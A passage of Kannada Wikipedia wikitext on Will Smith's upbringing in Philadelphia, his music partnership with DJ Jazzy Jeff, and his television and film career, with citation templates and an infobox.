ಬೆಳದಿದ್ದು [[ನಾರ್ಥ್‌ವೆಸ್ಟ್ ಫಿಲಾಡೆಲ್ಫಿಯ]]ದ [[ವೆಸ್ಟ್ ಫಿಲಾಡೆಲ್ಫಿಯ]] ಮತ್ತು [[ಜರ್ಮನ್‌ಟೌನ್]]ನಲ್ಲಿ. ಅವರ ತಾಯಿ, ಕ್ಯಾರೋಲಿನ್ ([[ನೀ]] ಬ್ರೈಠ್),ಶಾಲೆಯ ವ್ಯವಸ್ಥಾಪಕಿಯಾಗಿ ಫಿಲಾಡೆಲ್ಫಿಯ ಶಾಲೆಯಲ್ಲಿ ಹಾಗೂ ಅವರ ತಂದೆ, ವಿಲ್ಲರ್ಡ್ ಕ್ರಿಸ್ಟೋಫರ್ ಸ್ಮಿತ್ Sr ಅವರು ಶೈತ್ಯೀಕರಣ ಇಂಜಿನಿಯರ್ ಆಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿದ್ದರು.<ref>[http://www.filmreference.com/film/92/Will-Smith.html Will Smith Biography (1968-)]</ref><ref>{{cite news|title=Where there's a Will, there's a way|url=http://www.taipeitimes.com/News/feat/archives/2004/08/09/2003198111|publisher=Taipei Times|date=2004-08-09}}</ref> ಅವರನ್ನು [[ಬಾಪ್ಟಿಸ್ಟ್]] ಆಗಿ ಬೆಳೆಸಿದರು.<ref>{{Cite web |url=http://www.chron.com/disp/story.mpl/ent/movies/5377381.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-02-25 |archive-date=2007-12-19 |archive-url=https://web.archive.org/web/20071219131727/http://www.chron.com/disp/story.mpl/ent/movies/5377381.html |url-status=dead }}</ref> ಅವರು ಹದಿಮೂರನೆ ವಯಸ್ಸಿನವರಾಗಿದ್ದಾಗ ಅವರ ತಂದೆ ತಾಯಿ ಬೇರೆಯಾದರು ಹಾಗೂ ಅವರು ಮೂವತ್ತೆರಡು ವರ್ಷದವರಿದ್ದಾಗ ವಿಚ್ಚೇದನ ಪಡೆದರು.<ref name="Keegan">{{cite news|url=http://www.time.com/time/magazine/article/0,9171,1689234,00.html|publisher=Time|author=Rebecca Winters Keegan|title=The Legend of Will Smith|date=2007-11-29|access-date=2010-02-25|archive-date=2007-12-01|archive-url=https://web.archive.org/web/20071201152117/http://www.time.com/time/magazine/article/0,9171,1689234,00.html|url-status=dead}}</ref> ಸ್ಮಿತ್ ಅವರ ಆಕರ್ಷಕ ನಿಲುವು ಹಾಗೂ ತುಂಟ ವರ್ತನೆಯಿಂದ ತಮ್ಮ ಶಾಲೆಯಲ್ಲಿ ಅವರನ್ನು "ಪ್ರಿನ್ಸ್" ಎಂಬ ಅಡ್ಡ ಹೆಸರಿನಿಂದ ಕರೆಯಲ್ಪಟ್ಟರು, ಕೊನೆಯಲ್ಲಿ "ಫ್ರೆಂಚ್ ಪ್ರಿನ್ಸ್"ಎಂದು ಬದಲಾಯಿತು. ಹದಿಹರೆಯದಲ್ಲಿದ್ದಾಗಲೆ, ಸ್ಮಿತ್ ರಾಪ್ಪಿಂಗ್‌ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದ್ದರು ಮತ್ತು ಕೊನೆಗೆ ಒಂದು ಪಾರ್ಟಿಯಲ್ಲಿ ಪರಿಚಯವಾದ ಜೆಫ್ ಟೌನ್ಸ್‌ನ ಸಹಕಾರದಲ್ಲಿ ಅದನ್ನು ಮುಂದುವರೆಸಿದರು. (a.k.a.[[DJ ಜಾಝಿ ಜೆಫ್]]). ಅವರು [[ವೆಸ್ಟ್ ಫಿಲಡೆಲ್ಫಿಯ]]ದ [[ಓವರ್ ಬ್ರೂಕ್ ಹೈ ಸ್ಕೂಲ್]]ನಲ್ಲಿ ಕಲಿತರು. ಸ್ಮಿತ್ ಅವರು ಗೀತೆಯನ್ನು ರಚನೆ ಮಾಡುವಾಗ ಮತ್ತು ಟೌನ್ಸ್‌ನ ಮಿಕ್ಸಿಂಗ್ ಮತ್ತು ಸ್ಕ್ರಾಚಿಂಗ್‌ನಲ್ಲಿ ಇದ್ದ ಪಾಂಡಿತ್ಯದೊಂದಿಗೆ [[ಡಿಜೆ ಜಾಝಿ ಜೆಫ್ ಮತ್ತು ದಿ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್]] ಜೋಡಿಯ ಉಗಮವಾಯಿತು - ಈ ಸಂಯೋಗವು 1980 ಮತ್ತು 1990ರ ಪಾಪ್ ಮತ್ತು ಹಿಪ್-ಹಾಪ್ ಲೋಕಪ್ರಿಯವಾಯಿತು. ವ್ಯಾಪಕವಾಗಿ ವರದಿಯಾಗಿರುವ ಪ್ರಕಾರ ಸ್ಮಿತ್ ಅವರು [[Massachusetts Institute of Technology (MIT)]]<ref>{{cite journal|url=https://www.wired.com/wired/archive/12.07/smith.html|title=I, Robocop|month=December | year=2007|author=Jennifer Hillner|journal=[[Wired (magazine)|Wired]]|volume=46|issue=8|pages=833–9|pmid=18509686|doi=10.1007/s11517-008-0355-6}}</ref> ಯಲ್ಲಿ ಹಾಜರಿರಲು ವಿದ್ಯಾರ್ಥಿ ವೇತನವನ್ನು ನಿರಾಕರಿಸಿದರು, ಅವರು MITಗೆ ಯಾವತ್ತು ಅರ್ಜಿ ಹಾಕಿರಲಿಲ್ಲ.<ref name="iats">{{cite episode|title=Will Smith|series=Inside the Actors Studio|url=http://www.bravotv.com/Inside_the_Actors_Studio/guest/Will_Smith|credits=James Lipton (producer)|network=Bravo|season=8|number=806|airdate=2002-01-13|access-date=2010-02-25|archivedate=2007-10-29|archiveurl=https://web.archive.org/web/20071029112519/http://www.bravotv.com/Inside_the_Actors_Studio/guest/Will_Smith}}</ref> ಸ್ಮಿತ್ ಅವರ ಪ್ರಕಾರ, "ನನ್ನ ತಾಯಿ,[[ಸ್ಕೂಲ್ ಬೋರ್ಡ್ ಆಫ್ ಫಿಲಡೆಲ್ಫಿಯ]]ನಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ್ದಾರೆ, ಅವರ ಸ್ನೇಹಿತರಲ್ಲಿ ಒಬ್ಬರು MIT ನಲ್ಲಿ ಅಡ್ಮಿಶನ್ಸ್ ಆಫಿಸರ್ ಆಗಿದ್ದರು. ನನ್ನ [[SAT]] ಸ್ಕೋರ್ ಹೆಚ್ಚಾಗಿತ್ತು ಮತ್ತು ಅವರಿಗೆ ಕಪ್ಪು ವರ್ಣದ ಮಕ್ಕಳು ಬೇಕಾಗಿದ್ದರು,ನನಗೆ ಸುಲಭವಾಗಿ ದಾಖಲಾತಿ ಸಿಗುತಿತ್ತು. ಆದರೆ ನನಗೆ ಕಾಲೇಜು ಸೇರುವ ಉದ್ದೇಶವಿರಲಿಲ್ಲ."<ref>{{cite journal|url=http://www.rd.com/content/openContent.do?contentId=31133|journal=[[Reader's Digest]]|title=Will Smith Interview: Will's Roots|author=Meg Grant|month=December|year=2006|accessdate=2006-06-27|archive-date=2007-02-24|archive-url=https://web.archive.org/web/20070224092708/http://www.rd.com/content/openContent.do?contentId=31133|url-status=dead}}</ref> == ಧ್ವನಿ ಮುದ್ರಣ ಮತ್ತು ನಟನೆಯ ವೃತ್ತಿಜೀವನ == {{Infobox musical artist <!-- See Wikipedia:WikiProject Musicians --> |Name = Will Smith |Background = solo_singer |Birth_name = Will Smith |Alias = Fresh Prince |Born = {{birth date and age|mf=yes|1968|9|25}} |Died = |Occupation = [[Rapping|Rapper]], [[actor]] |Origin = [[Wynnefield, Philadelphia, Pennsylvania|Wynnefield]], [[West Philadelphia]], [[Pennsylvania]], United States |Genre = [[Pop music|Pop]], [[hip hop music|hip hop]] |Years_active = 1986–present |Label = [[Columbia Records|Columbia]], [[Interscope Records|Interscope]] |Associated_acts = [[DJ Jazzy Jeff & The Fresh Prince]] |URL = [http://www.willsmith.com/] }} === ಆರಂಭಿಕ ವೃತ್ತಿಜೀವನ, 1993–1997 === ಸ್ಮಿತ್ [[MC]]ಯಾಗಿ , [[turntablist]] ಮತ್ತು [[ನಿರ್ಮಾಪಕ]]ನಾಗಿ ಅವರ ಬಾಲ್ಯದ ಸ್ನೇಹಿತ [[ಜೆಫ್ರಿ "ಡಿಜೆ ಜಾಝಿ ಜೆಫ್" ಟೌನ್ಸ್‌]] ಅಲ್ಲದೆ ಹ್ಯೂಮನ್ ಬೀಟ್ ಬಾಕ್ಸ್ ಆಗಿ ರೆಡಿ ರಾಕ್ C (ಕ್ಲಾರೆನ್ಸ್ ಹೋಮ್ಸ್) ಎಲ್ಲ ಒಟ್ಟಾಗಿ ಹಿಪ್-ಹಾಪ್ ಜೋಡಿ [[ಡಿಜೆ ಜಾಝಿ ಜೆಫ್ ಮತ್ತು ದಿ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್‌]] ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದರು . ಈ ಮೂವರ ತಂಡವು ತಮ್ಮ ವಿನೋದಶೀಲ ಪ್ರದರ್ಶನಗಳಿಂದ, ಆಕಾಶವಾಣಿ- ಪ್ರಿಯವಾಗಿರುವ ಹಾಡುಗಳಿಂದ ಜನಪ್ರಿಯವಾಯಿತು, ಅದರಲ್ಲಿ "[[ಪೇರೆಂಟ್ಸ್ ಜಸ್ಟ್ ಡೋಂಟ್ ಅಂಡರ್ಸ್ಟ್ಯಾಂಡ್]]" ಮತ್ತು "[[ಸಮ್ಮರ್‌ ಟೈಮ್‌]] ಪ್ರಮುಖವಾದವು. ರ್ಯಾಪ್ ವಿಭಾಗದಲ್ಲಿ (1988) ಅವರ ಮೊಟ್ಟ ಮೊದಲ ಗ್ರ್ಯಾಮ್ಮಿ ಅವಾರ್ಡ್ ಗೆದ್ದಾಗ ಅವರು ಹಲವಾರು ವಿಮರ್ಶಾತ್ಮಕ ಹೇಳಿಕೆಗಳನ್ನು ಪಡೆದುಕೊಂಡರು. 1991ರಲ್ಲಿ ಪ್ರಖ್ಯಾತ ತಾರೆಯರ ಗುಂಪಿನ [[ಗಲ್ಫ್ ವಾರ್]] ಹಾಡಿಗೆ "[[ವಾಯ್ಸಸ್ ದಟ್ ಕೇರ್]]", ಎಂಬ ಒಂದು ಸಾಲು ಅವರದ್ದಾಗಿತ್ತು. ಸ್ಮಿತ್ ಅವರು ತಮ್ಮ ವೃತ್ತಿ ಜೀವನದ ಆರಂಭದ ದಿನಗಳಲ್ಲಿ ಹಣವನ್ನು ದುಂದುವ್ಯಚ್ಛ ಮಾಡುತ್ತಿದ್ದರು ಮತ್ತು ಆದಾಯ ತೆರಿಗೆ ಪಾವತಿಸುತ್ತಿರಲಿಲ್ಲ. ದ [[ಇಂಟರ್ನಲ್ ರೆವೆನ್ಯು ಸರ್ವೀಸ್]] ಸ್ಮಿತ್ ಅವರ ವಿರುದ್ಧ $2.8 ಮಿಲಿಯನ್ ತೆರಿಗೆ ಹೇರಿತು, ಅವರ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನ ಪಡಿಸಿಕೊಂಡಿತು, ಹಾಗೂ ಅವರ ಆದಾಯವನ್ನು [[ವ್ಯವಸ್ಥಿತಗೊಳಿಸಿತು.]] [[ಚಿತ್ರ:Will Smith - Emmy Awards 1993.jpg|thumb|left| 1993ರಲ್ಲಿ ವಿಲ್ ಸ್ಮಿತ್]] 1990ರಲ್ಲಿ ಸ್ಮಿತ್ ಅವರು ಪೂರ್ತಿ ನಷ್ಟದಲ್ಲಿದಾಗ ,[[NBC]]ದೂರದರ್ಶನ ವಾಹಿನಿಯು ಒಂದು [[ಹಾಸ್ಯ ದಾರವಾಹಿ]] ''[[ದಿ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್ ಆಫ್ ಬೆಲ್-ಏರ್]]'' ನಿರ್ಮಾಣಕ್ಕಾಗಿ ಅವರಜೊತೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿತು. ಆ ಕಾರ್ಯಕ್ರಮವು ಬಹಳ ಸಫಲಗೊಂಡಿತು ಮತ್ತು ಅದರಿಂದ ನಟನಾ ವೃತ್ತಿಯು ಪ್ರಾರಂಭಗೊಂಡಿತು. ಸ್ಮಿತ್ "ಪ್ರಪಂಚದ ಅತಿದೊಡ್ಡ ಚಿತ್ರತಾರೆ" ಆಗಬೇಕೆಂಬ ಗುರಿ ಹಾಕಿಕೊಂಡರು, ಅದಕ್ಕಾಗಿ ಅವರು [[ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯ ಯಶಸ್ಸುಗಳ']] ಸಾಮಾನ್ಯ ಲಕ್ಶಣಗಳನ್ನು ಅಧ್ಯಯನ ಮಾಡುತ್ತಿದ್ದರು.<ref name="Keegan"/> ಅವರು ''ದಿ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್ ಆಫ್ ಬೆಲ್-ಏರ್'' ನಲ್ಲಿ ಅಭಿನಯಿಸುತ್ತಿರುವಾಗಲೆ ಅವರ ಮೊದಲ ನಾಟಕೀಯ ಚಿತ್ರ''[[ಸಿಕ್ಸ್ ಡಿಗ್ರೀ ಆಫ್ ಸೆಪರೇಶನ್]]'' ಗಮನ ಸೆಳೆದದರೂ,ಸ್ಮಿತ್ ಅವರು ಹೆಸರುವಾಸಿಯಾಗಿದ್ದು ಸಹ ನಟಿ[[ಮಾರ್ಟಿನ್ ಲಾರೆನ್ಸ್‌]]ರೊಂದಿಗೆ [[ಬಡ್ಡಿ ಕಾಪ್ ಫಿಲ್ಮ್]] ''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್]]'' (1995)ಗಳಲ್ಲಿನ ತಮ್ಮ ಪಾತ್ರಗಳಿಂದ . === ಪ್ರಮುಖ ಬೆಳವಣಿಗೆ, 1997–2000 === ''[[ದಿ ಫ್ರೆಶ್ ಪ್ರಿನ್ಸ್ ಆಫ್ ಬೆಲ್-ಏರ್]]'' ಮೇ 20,1996ರಲ್ಲಿ ಕೊನೆಗೊಂಡನಂತರ, ಸ್ಮಿತ್ ಅವರು ಬಹಳಶ್ಟು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಅಭಿನಯಿಸುತ್ತಿರುವಾಗಲೆ ಏಕವ್ಯಕ್ತಿ ಸಂಗೀತ ವೃತ್ತಿಯಲ್ಲಿ ಯಶಸ್ಸನ್ನು ಕಂಡರು. ಮೊದಲ ಎರಡು ಚಲನಚಿತ್ರಗಳು ಅದ್ಧೂರಿ ಯಶಸ್ಸನ್ನು ಕಂಡವು: ''[[ಇಂಡಿಪೆಂಡೆನ್ಸ್ ಡೇ]]'' (1996), ಅದರಲ್ಲಿ ಅವರು ಅಂಜಿಕೆಯಿಲ್ಲದ ಮತ್ತು ಆತ್ಮವಿಶ್ವಾಸಹೊಂದಿದ ಪೈಲಟ್‍೬ನ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ್ದರು,''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್]]'' (1997) ,ಅದರಲ್ಲಿ ಅವರು ಹಾಸ್ಯದ ಹಾಗು ಆತ್ಮವಿಶ್ವಾಸಹೊಂದಿದ [[ಏಜೆಂಟ್ J]]ನ ಪಾತ್ರ [[ಟಾಮಿ ಲೀ ಜೋನ್ಸ್]]' ಡೆಡ್ಪ್ಯಾನ್ [[ಏಜೆಂಟ್ K]] ಎದುರು ನಿರ್ವಹಿಸಿದ್ದರು. ಸ್ಮಿತ್ ಅವರ ''ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್'' ನ ನಟನೆಯು ವಿಮರ್ಶಕರಿಂದ ಶ್ಲಾಘಿಸಲ್ಪಟ್ಟಿತು. ಮೊದಲಿಗೆ ಅವರು ''ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್'' ನಲ್ಲಿ ಮುಖ್ಯ ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಲು ನಿರಾಕರಿಸಿದ್ದರು, ಆದರೆ ಅವರ ಹೆಂಡತಿ[[ಜಡ ಪಿಂಕೆಟ್ ಸ್ಮಿತ್]] ಅವರು ಪುಸಲಾಯಿಸಿ ಆ ಪಾತ್ರ ನಿರ್ವಹಿಸಲು ಒಪ್ಪಿಸಿದರು. ಈ ಎರಡು ಚಿತ್ರಗಳು ಸ್ಮಿತ್ ಅವರ ಹೆಸರನ್ನು ಒಬ್ಬ [[ನಂಬಲರ್ಹ ತಾರೆ]]ಯಾಗಿ ಸ್ಥಾಪಿಸಿದವು. 1998ರಲ್ಲಿ ಜೆನಿ ಹಾಕ್ಮನ್ ಅವರ ಜೊತೆ ''[[ಎನಿಮಿ ಅಫ್ ದಿ ಸ್ಟೇಟ್‌]]'' ನಲ್ಲಿ ನಟಿಸಿದರು.<ref>[http://www.contactmusic.com/new/xmlfeed.nsf/mndwebpages/smith%20has%20no%20matrix%20regrets Smith has no Matrix Regrets]</ref> ಸ್ಮಿತ್ ಅವರು ''[[ದಿ ಮ್ಯಾಟ್ರಿಕ್ಸ್]]'' ನ [[ನಿಯೊ]]ನ ಪಾತ್ರವನ್ನು ''[[ವೈಲ್ಡ್ ವೈಲ್ಡ್ ವೆಸ್ಟ್]]'' ಚಿತ್ರಒಪ್ಪಿಕೊಂಡಿದ್ದರಿಂದ ನಿರ್ವಹಿಸಲು ನಿರಾಕರಿದರು.''[[ವೈಲ್ಡ್ ವೈಲ್ಡ್ ವೆಸ್ಟ್]]'' ನ ಸೋಲಿನ ನಂತರವು ಸ್ಮಿತ್ ಅವರು ಅವರ ನಿರ್ಣಯದಿಂದ ಅವರಿಗೆ ಏನು ವಿಷಾದವಿಲ್ಲವೆಂದು ಹೇಳಿ, [[ಕೀನು ರೀವಿಸ್]]'ನವರ ನಿಯೊ ಪಾತ್ರದ ಅಭಿನಯವು ಸ್ಮಿತ್ ಅವರ ಅಭಿನಯಕಿಂತ ಅಧ್ಬುತವಾಗಿತ್ತು ಎಂದು ಹೇಳಿದರು. ಸ್ಮಿತ್ ಅವರು ಮುಂದೆ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸನ್ನು ಕಂಡ ಹಲವು ಚಲಚಿತ್ರಗಳಲ್ಲಿ ಮುಖ್ಯ ಪಾತ್ರಗಳನ್ನು ಗಳಿಸಿದರು ಅದರಲ್ಲಿ ''[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್ II]]'' , ''[[ಬ್ಯಾಡ್ ಬಾಯ್ಸ್II]]'' , ''[[ಹಿಚ್]]'' , ಮತ್ತು ''[[ಐ, ರೋಬೋಟ್]]'' . ಸ್ಮಿತ್ ಅವರು ತೊಂಬತ್ತರ ಉದ್ದಕ್ಕು ಬಹಳಶ್ಟು ಉತ್ತಮ ಗೀತೆಗಳನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿದರು,ಅದರಲ್ಲಿ ಅನೇಕ ಗೀತೆಗಳು ಅವರ ಇತ್ತೀಚೆಗೆ ಬಿಡುಗಡೆಗೊಂಡ ಚಿತ್ರಗಳದ್ದಾಗಿತ್ತು. ಅದರಲ್ಲಿ ಹೆಸರುವಾಸಿ ಯಾದ ಪ್ರಮುಖ ಗೀತೆಗಳೆಂದರೆ "[[ಮೆನ್ ಇನ್ ಬ್ಲ್ಯಾಕ್]]", "[[ಗೆಟ್ಟಿನ್' ಜಿಗ್ಗಿ ವಿಟ್ ಇಟ್]]" (ಅದು ''ಜಿಗ್ಗಿ'' ಯನ್ನು 1998ರಲ್ಲಿ ಬಹಳ [[ಜನಪ್ರಿಯವಾಗಿಸಿತು]] ), ಮತ್ತು "[[ಜಸ್ಟ್ ದಿ ಟು ಆಫ್ ಅಸ್]]", ಅವರ ಮಗನಿಗೆ ಒಂದು ಮಮತೆಯ ಸಂದೇಶವಾಗಿತ್ತು . ಅವರ ಮೊದಲ ಎರಡು ಏಕವ್ಯಕ್ತಿ ಆಲ್ಬಮ್‌ಗಳಾದ ''[[ಬಿಗ್ ವಿಲ್ಲೀ ಸ್ಟೈಲ್]]'' (1997) ಮತ್ತು ''[[ವಿಲ್ಲೇನ್ನಿಯಮ್]]'' (1999)ಗಳು [[ಮಲ್ಟಿ-ಪ್ಲಾಟಿನಂ]]ಗೆ ಹೋದವು. === ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟದಲ್ಲಿ ಯಶಸ್ಸು, 2001 ರಿಂದ ವರ್ತಮಾನದ ವರೆಗೆ === 2001ರಲ್ಲಿ ಸ್ಮಿತ್ ಅವರ ''[[ಅಲಿ]]'' ಚಿತ್ರದ, [[ಉತ್ತಮ ನಟ ಅಕಾಡೆಮಿ ಅವಾರ್ಡ್‌]]ಗೆ ನಾಮನಿರ್ದೇಶಿತಗೊಂಡಿತು, ಅದರಲ್ಲಿ ಅವರು ಕ್ಯಾಸ್ಸಿಯಸ್ ಕ್ಲೆ ಎಂದು ಹೆಸರುವಾಸಿಯಾದ ಬಾಕ್ಸರ್ [[ಮೊಹಮ್ಮದ್ ಅಲಿ]], ಅವರ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ್ದರು. ಸ್ಮಿತ್ ಅವರನ್ನು ಅವರ ಇನ್ನೊಂದು ನಿಜ-ಜೀವನದ ಚಿತ್ರ ''[[ದಿ ಪರ್ಸೂಟ್ ಆಫ್ ಹ್ಯಾಪಿನೆಸ್]]'' ಗಾಗಿ, [[ಆಸ್ಕರ್]]ನ ಉತ್ತಮ ನಟ ನೇಮಿಸಲಾಯಿತು, ಅದರಲ್ಲಿ ಅವರು rags-to-riches ಕಥೆಯ [[ಕ್ರಿಸ್ ಗಾರ್ಡ್ನರ್]]ನ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ್ದಾರೆ. 2002ರಲ್ಲಿ ಸ್ಮಿತ್ ಅವರ ಬಿಡುಗಡೆಗೊಂಡ ಮೂರನೆ ಗಾನ ಸುರಳಿ [[ಕೊಲಂಬಿಯ ರೆಕಾರ್ಡ್ಸ್]], ''[[ಬಾರ್ನ್ ಟು ರೇನ್]]'' ,ಅವರ ಹಳೆಯ ಪ್ರಯತ್ನಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಸೋಲುಕಂಡವು, ಮತ್ತು ''[[ಗ್ರೇಟೆಸ್ಟ್ ಹಿಟ್ಸ್]]'' ಬಿಡುಗಡೆಯ ಜಾಹೀರಾತು ಮಾಡದಿರುವುದರಿಂದ,ಅವರನ್ನು ಲೇಬಲ್‌ನಿಂದ ತೆಗೆಯಲ್ಪಟ್ಟಿತು. ಮುಂದೆ ಅವರು [[ಇಂಟರ್‌ಸ್ಕೋಪ್ ರೆಕಾರ್ಡ್ಸ್]] ಜೊತೆ ಧ್ವನಿಮುದ್ರಣ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡರು. ಒಂದು ವರ್ಷದ ನಂತರ, ಸ್ಮಿತ್ ಮತ್ತು ಅವರ ಹೆಂಡತಿ ಜಡ ಪಿಂಕೆಟ್ ಸ್ಮಿತ್ [[UPN]] ( ನಂತರದಲ್ಲಿ [[CW]]) ಹಾಸ್ಯ ದಾರಾವಾಹಿ ''[[ಆಲ್ ಆಫ್ ಅಸ್]]'' ಸೃಷ್ಟಿಸಿದರು, ಅದು ಅವರ ಜೀವನದ ಮೇಲೆ ಅಧಾರಿತವಾಗಿತ್ತು ಆ ಕಾರ್ಯಕ್ರಮವು 2003ರ ಸೆಪ್ಟಂಬರ್‌ನಲ್ಲಿ UPN ನಲ್ಲಿ ಬಿತ್ತರಗೊಂಡಿತು ಮತ್ತು ದ CW ವರ್ಗವಾಗುವ ಮುಂಚೆ ಮೂರು ಋತುಗಳವರೆಗೆ ಬಿತ್ತರಗೊಂಡಿತು. CW 2007ರ ಮೇ ರಲ್ಲಿ ''ಆಲ್ ಆಫ್ ಅಸ್'' ಅನ್ನು ರದ್ದುಗೊಳಿಸಿತು. ಸ್ಮಿತ್ ಅವರು ತಾವಾಗಿಯೇ ''[[ಜೆರ್ಸಿ ಗರ್ಲ್]]'' ನಲ್ಲಿ ಕಾಣಿಕೊಂಡರು ಮತ್ತು ಅದರಲ್ಲಿ [[ಸೈಲೆಂಟ್ ಬಾಬ್]] ಸಂಭಾಷಣೆ ನೀಡಿದರು ಅದು [[ಕೆವಿನ್ ಸ್ಮಿತ್‌]]ನ ಎಲ್ಲ ಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಪ್ರಮುಖ ಪಾತ್ರದ ಸನ್ನಿವೇಶವು "ವಿಲ್ ಸ್ಮಿತ್ ಬರೀ ಒಬ್ಬ ರಾಪ್ಪರ್ " ಎಂಬ ಹೇಳಿಕೆಗಾಗಿಯಾಗಿತ್ತು. 2005ರಲ್ಲಿ, ಸ್ಮಿತ್ ಅವರು ಇಪ್ಪತ್ನಾಲ್ಕು ಗಂಟೆಯಲ್ಲಿ ಮೂರು ಪ್ರಿಮಿಯರ್ ಗಳಲ್ಲಿ ಭಾಗವಹಿಸಿದಕ್ಕೆ [[Guinness Book of World Records]]ನಲ್ಲಿ ನಮೂದಿಸಲಾಯಿತು.<ref>{{cite news|url=http://www.digitalspy.co.uk/showbiz/a19424/will-smith-in-guinness-book-of-records.html|title=Will Smith in Guinness Book of Records|publisher=Digital Spy|date=2005-02-23|author=Daniel Saney}}</ref> ಜುಲೈ 2, 2005ರಂದು ಸೆನಾನ ತಾಯ್ನೆಲ ಫಿಲಡೆಲ್ಫಿಯಾದಲ್ಲಿ ಭಾರೀ ಸಂಖ್ಯೆಯ ಜನರು ಸೇರಿದ್ದ ಒಂದು ಪ್ರದರ್ಶನ [[ಲೈವ್ 8 ಕಾರ್ನ್ಸರ್ಟ್‌]]ನಲ್ಲಿ ನಿರೂಪಕನಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದ, ಜೊತೆಗೆ DJ ಜಾಝಿ ಜೆಫ್‌ರ ಜೊತೆಗೆ ಕೂಡಾ ಒಂದು ಪ್ರದರ್ಶನದಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದನು. ಈ ಅವಧಿಯಲ್ಲಿ, ಸ್ಮಿತ್ ಅವರು ತಮ್ಮ ನಾಲ್ಕನೆ ಸ್ಟುಡಿಯೊ ಆಲ್ಬಮ್ ಯಶಸ್ಸನ್ನು ಕಂಡ ''[[Lost &amp; Found]]'' ಬಿಡುಗಡೆಗೊಳಿಸಿದರು. "ಸ್ವಿಚ್", ಮುಖ್ಯವಾಹಿನಿಯೊಂದರಿಂದ ಆಕರ್ಷಿತವಾದ ಈ ಆಲ್ಬಮ್ ಏಕವ್ಯಕ್ತಿ ಪ್ರದರ್ಶನವಾಗಿ ಭಾರಿ ಜಯಗಳಿಸಿತು. ಈ ಸಿಂಗಲ್‌ನಿಂದ ಹಿಪ್-ಹಾಪ್‌ನಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ತಂದುಕೊಟ್ಟು ಕೆಲವು ತಿಂಗಳುಗಳ ಕಾಲ ಪಟ್ಟಿಯ ಮೊದಲ ಸ್ಥಾನದಲ್ಲಿತ್ತು. "ಸ್ವಿಚ್‌"ನಲ್ಲಿನ ನಿರ್ವಹಣೆಗಾಗಿ ಸ್ಮಿತ್ ಅವರು [[Nickelodeon]]ನಲ್ಲಿ 2005ರ ಕಿಡ್ಸ್ ಚಾಯ್ಸ್ ಅವಾರ್ಡ್ಸ್ ಪಡೆದುಕೊಂಡರು, ಜೊತೆಗೆ 2005ರಲ್ಲಿ BET ಅವಾರ್ಡ್ಸ್ ಕೂಡಾ ಸಿಕ್ಕಿತು. ಅವರು NBA ಅಂತಿಮಸುತ್ತಿನ(ಸ್ಯಾನ್ ಆಂಟೋನಿಯೋ vs. ಡೆಟ್ರಾಯ್ಟ್) ಎರಡನೇ ಆಟದಲ್ಲಿ "ಸ್ವಿಚ್" ಆಲ್ಬಮ್‌ನ ಪ್ರಚಾರಕ್ಕಾಗಿ ಭಾಗವಹಿಸಿದ್ದರು, ಸ್ಮಿತ್ ಅವರು ಭಾರತಕ್ಕೆ ಭೇಟಿನೀಡಿದಾಗ, "[[Indian Idol]]" ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ವಿಶೇಷ ಭೇಟಿ ನೀಡಿದರು. ಅವರು ಕಿರುತೆರೆಯ ಧಾರಾವಾಹಿ ''[[ಇಟ್ ಟೇಕ್ಸ್ ಎ ಥೀಫ್]]'' ನ ರಿಮೇಕ್ ಚಿತ್ರದಲ್ಲಿ ನಟಿಸಲು ತಯಾರಿ ನಡೆಸುತ್ತಿದ್ದಾರೆ.<ref>{{cite news|url=http://www.variety.com/article/VR1117940129.html|title=U finds man of steal for 'Thief' feature|publisher=Variety|date=2006-03-21|author=Gabriel Snyder|coauthors=Michael Fleming}}</ref> [[ಚಿತ್ರ:Will Smith 2.jpg|thumb|right|2008ರಲ್ಲಿ ಸ್ಮಿತ್]] ಡಿಸೆಂಬರ್ 10, 2007ರಂದು, [[ಹಾಲಿವುಡ್ ಬೋಲಿವರ್ಡ್‌]]ನಲ್ಲಿ [[ಗ್ರಾಮನ್ ಚೈನೀಸ್ ಥಿಯೇಟರ್]] ಹತ್ತಿರ ಸ್ಮಿತ್ ಗುರುತಿಸಲ್ಪಟ್ಟರು. ಸ್ಮಿತ್ ಅವರು ವಿಶ್ವದ ಪರಿಚಿತ ಥಿಯೇಟರ್‌ನ ಮುಂಭಾಗದಲ್ಲಿ ತಮ್ಮ ಅಭಿಮಾನಿಗಳ ಸಮ್ಮುಖದಲ್ಲಿ ತಮ್ಮ ಕೈ ಮತ್ತು ಪಾದದ ಗುರುತಿನ ಮುದ್ರೆ ಒತ್ತಿದರು.<ref>{{Cite web 